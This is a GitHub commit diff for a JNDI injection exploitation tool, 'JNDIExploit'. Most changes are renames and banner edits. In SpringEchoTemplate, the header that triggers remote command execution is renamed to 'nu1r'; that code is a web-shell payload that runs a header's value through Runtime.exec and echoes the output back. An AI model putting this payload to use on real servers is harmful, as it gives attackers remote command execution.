Skip to content

Commit c301e97

Browse files
author
nu1r
committed
提交项目
1 parent 608acbb commit c301e97

File tree

8 files changed

+29
-34
lines changed

8 files changed

+29
-34
lines changed

‎README.md‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
![JNDI-NU](https://socialify.git.ci/nu1r/JNDI-NU/image?description=1&descriptionEditable=%E4%B8%80%E6%AC%BE%E7%94%A8%E4%BA%8E%20JNDI%E6%B3%A8%E5%85%A5%20%E5%88%A9%E7%94%A8%E7%9A%84%E5%B7%A5%E5%85%B7%EF%BC%8C%E9%80%82%E7%94%A8%E4%BA%8E%E4%B8%8E%E8%87%AA%E5%8A%A8%E5%8C%96%E5%B7%A5%E5%85%B7%E9%85%8D%E5%90%88%E4%BD%BF%E7%94%A8&font=KoHo&forks=1&language=1&logo=https://s1.ax1x.com/2022/09/12/vXqOUI.jpg&owner=1&pattern=Circuit%20Board&stargazers=1&theme=Light)
1+
![JNDI-NU](https://socialify.git.ci/nu1r/JNDIExploit/image?description=1&descriptionEditable=%E4%B8%80%E6%AC%BE%E7%94%A8%E4%BA%8E%20JNDI%E6%B3%A8%E5%85%A5%20%E5%88%A9%E7%94%A8%E7%9A%84%E5%B7%A5%E5%85%B7%EF%BC%8C%E9%80%82%E7%94%A8%E4%BA%8E%E4%B8%8E%E8%87%AA%E5%8A%A8%E5%8C%96%E5%B7%A5%E5%85%B7%E9%85%8D%E5%90%88%E4%BD%BF%E7%94%A8&font=KoHo&forks=1&language=1&logo=https://s1.ax1x.com/2022/09/12/vXqOUI.jpg&owner=1&pattern=Circuit%20Board&stargazers=1&theme=Light)
22

33
# 😈使用说明
44

‎pom.xml‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,10 @@
55
<modelVersion>4.0.0</modelVersion>
66

77
<groupId>org.example</groupId>
8-
<artifactId>JNDI</artifactId>
9-
<version>NU</version>
8+
<artifactId>JNDIExploit</artifactId>
9+
<version>2.0</version>
1010

11-
<name>ysuserial</name>
11+
<name>JNDIExploit</name>
1212
<url>https://nu1r.cn</url>
1313

1414
<build>

‎src/main/java/com/nu1r/jndi/HTTPServer.java‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,6 @@
2222
import java.util.jar.JarOutputStream;
2323
import java.util.zip.ZipEntry;
2424

25-
import static com.nu1r.jndi.gadgets.utils.Util.getVerse;
2625
import static org.fusesource.jansi.Ansi.ansi;
2726

2827
public class HTTPServer {
@@ -36,7 +35,7 @@ public static void start() throws IOException {
3635
@Override
3736
public void handle(HttpExchange httpExchange) {
3837
try {
39-
System.out.println(ansi().render("@|green [+]|@" + " [" + Ltime.getLocalTime() + "]" + " [HTTP] " + getVerse() + "@|BG_CYAN --------------------------------------|@"));
38+
System.out.println(ansi().render("@|green [+]|@" + " [" + Ltime.getLocalTime() + "]" + " [LDAP] " + "@|BG_green -----------------------------------------------------------------------------------------------------|@"));
4039
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA New HTTP Request From >> |@" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
4140

4241
String path = httpExchange.getRequestURI().getPath();

‎src/main/java/com/nu1r/jndi/LdapServer.java‎

Lines changed: 1 addition & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,6 @@
1919
import java.util.Set;
2020
import java.util.TreeMap;
2121

22-
import static com.nu1r.jndi.gadgets.utils.Util.getVerse;
2322
import static org.fusesource.jansi.Ansi.ansi;
2423

2524

@@ -42,15 +41,6 @@ public static void start() {
4241
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
4342
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
4443
ds.startListening();
45-
System.out.println(ansi().eraseScreen().render(
46-
" @|green █████\\|@ @|red ██\\ ██\\|@ @|yellow ███████\\|@ @|MAGENTA ██████\\|@ @|CYAN ██\\ ██\\ ██\\ ██\\|@ \n" +
47-
" @|green \\__██ ||@@|red ███\\ ██ ||@@|yellow ██ __██\\|@ @|MAGENTA \\_██ _||@ @|CYAN ███\\ ██ |██ | ██ ||@ @|BG_GREEN v2.0|@\n" +
48-
" @|green ██ ||@@|red ████\\ ██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@ @|CYAN ████\\ ██ |██ | ██ ||@ @|BG_CYAN JNDIExploit-Nu1r|@\n" +
49-
" @|green ██ ||@@|red ██ ██\\██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@██████\\ @|CYAN ██ ██\\██ |██ | ██ ||@\n" +
50-
"@|green ██\\ ██ ||@@|red ██ \\████ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@\\______|@|CYAN ██ \\████ |██ | ██ ||@\n" +
51-
"@|green ██ | ██ ||@@|red ██ |\\███ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@ @|CYAN ██ |\\███ |██ | ██ ||@\n" +
52-
"@|green \\██████ ||@@|red ██ | \\██ ||@@|yellow ███████ ||@@|MAGENTA ██████\\|@ @|CYAN ██ | \\██ |\\██████ ||@\n" +
53-
"@|green \\______/|@@|red \\__| \\__||@@|yellow \\_______/|@ @|MAGENTA \\______||@ @|CYAN \\__| \\__| \\______/|@"));
5444
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA LDAP Server Start Listening on >>|@ " + Config.ldapPort + "..."));
5545
} catch (Exception e) {
5646
e.printStackTrace();
@@ -90,7 +80,7 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) {
9080

9181
//收到ldap请求
9282
System.out.println("\n");
93-
System.out.println(ansi().render("@|green [+]|@" + " [" + Ltime.getLocalTime() + "]" + " [LDAP] " + getVerse() + "@|BG_CYAN --------------------------------------|@"));
83+
System.out.println(ansi().render("@|green [+]|@" + " [" + Ltime.getLocalTime() + "]" + " [LDAP] " + "@|BG_green -----------------------------------------------------------------------------------------------------|@"));
9484
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Received LDAP Query >>|@ " + base));
9585
LdapController controller = null;
9686
//find controller

‎src/main/java/com/nu1r/jndi/RMIServer.java‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,6 @@
4444
import sun.rmi.server.UnicastServerRef;
4545
import sun.rmi.transport.TransportConstants;
4646

47-
import static com.nu1r.jndi.gadgets.utils.Util.getVerse;
4847
import static org.fusesource.jansi.Ansi.ansi;
4948

5049

@@ -259,7 +258,7 @@ private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Ex
259258
}
260259

261260
String object = (String) ois.readObject();
262-
System.out.println(ansi().eraseScreen().render("@|green [+]|@" + " [" + Ltime.getLocalTime() + "]" + " [RMI] " + getVerse()));
261+
System.out.println(ansi().render("@|green [+]|@" + " [" + Ltime.getLocalTime() + "]" + " [RMI] " + "@|BG_green -----------------------------------------------------------------------------------------------------|@"));
263262
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA RMI 服务器 >> RMI 查询 |@" + object + " " + method));
264263
out.writeByte(TransportConstants.Return); // transport op
265264
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {

‎src/main/java/com/nu1r/jndi/gadgets/Config/Config.java‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,8 @@
1111

1212
import java.util.*;
1313

14+
import static org.fusesource.jansi.Ansi.ansi;
15+
1416
public class Config {
1517
public static String codeBase;
1618

@@ -32,6 +34,9 @@ public class Config {
3234
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
3335
public static String command = "whoami";
3436

37+
@Parameter(names = {"-v", " --version"}, description = "Show version", order = 5)
38+
public static boolean showVersion;
39+
3540
@Parameter(names = {"-g", " --gadgets"}, description = "Show gadgets", order = 5)
3641
public static boolean showGadgets;
3742

@@ -75,6 +80,22 @@ public static void applyCmdArgs(String[] args) {
7580
System.exit(0);
7681
}
7782

83+
if (showVersion){
84+
System.out.println(ansi().eraseScreen().render("" +
85+
" /█████ /██ /██ /███████ /██████ /████████ /██ /██ /██ \n" +
86+
" |__ ██| ███ | ██| ██__ ██|_ ██_/| ██_____/ | ██ |__/ | ██ @|BG_GREEN V2.0|@\n" +
87+
" | ██| ████| ██| ██ \\ ██ | ██ | ██ /██ /██ /██████ | ██ /██████ /██ /██████ @|BG_CYAN Author Nu1r|@\n" +
88+
" | ██| ██ ██ ██| ██ | ██ | ██ | █████ | ██ /██/ /██__ ██| ██ /██__ ██| ██|_ ██_/ \n" +
89+
" /██ | ██| ██ ████| ██ | ██ | ██ | ██__/ \\ ████/ | ██ \\ ██| ██| ██ \\ ██| ██ | ██ \n" +
90+
"| ██ | ██| ██\\ ███| ██ | ██ | ██ | ██ >██ ██ | ██ | ██| ██| ██ | ██| ██ | ██ /██\n" +
91+
"| ██████/| ██ \\ ██| ███████/ /██████| ████████ /██/\\ ██| ███████/| ██| ██████/| ██ | ████/\n" +
92+
" \\______/ |__/ \\__/|_______/ |______/|________/|__/ \\__/| ██____/ |__/ \\______/ |__/ \\___/ \n" +
93+
" | ██ \n" +
94+
" | ██ \n" +
95+
" |__/ "));
96+
System.exit(0);
97+
}
98+
7899
//获取当前 Jar 的名称
79100
String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath();
80101
jc.setProgramName("java -jar JNDI-NU.jar");

‎src/main/java/com/nu1r/jndi/gadgets/utils/Util.java‎

Lines changed: 0 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -178,18 +178,4 @@ public static boolean isHave(String[] strs,String s){
178178
return false;
179179
}
180180

181-
public static String getVerse(){
182-
String[] strs = {
183-
"竹杖芒鞋轻胜马，谁怕，一蓑烟雨任平生。",
184-
"醉后不知天在水，满船清梦压星河。",
185-
"气蒸云梦泽，波撼岳阳城。",
186-
"欲买桂花同载酒，终不似，少年游。",
187-
"人生天地间，忽如远行客",
188-
"人生如逆旅，我亦是行人。",
189-
"应是天仙狂醉，乱把白云揉碎。",
190-
"行到云穷处，坐看云起时。",
191-
"莫愁前路无知己，天下谁人不识君？"};
192-
int random_index = (int) (Math.random()*strs.length);
193-
return strs[random_index];
194-
}
195181
}

‎src/main/java/com/nu1r/jndi/template/SpringEchoTemplate.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ public SpringEchoTemplate() {
6262
httpResponse = (HttpServletResponse) servletResponse;
6363
}
6464

65-
String cmd = httpRequest.getHeader("cmd");
65+
String cmd = httpRequest.getHeader("nu1r");
6666
if (cmd != null && !cmd.isEmpty()) {
6767
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
6868
httpResponse.getWriter().println(res);

0 commit comments

Comments
 (0)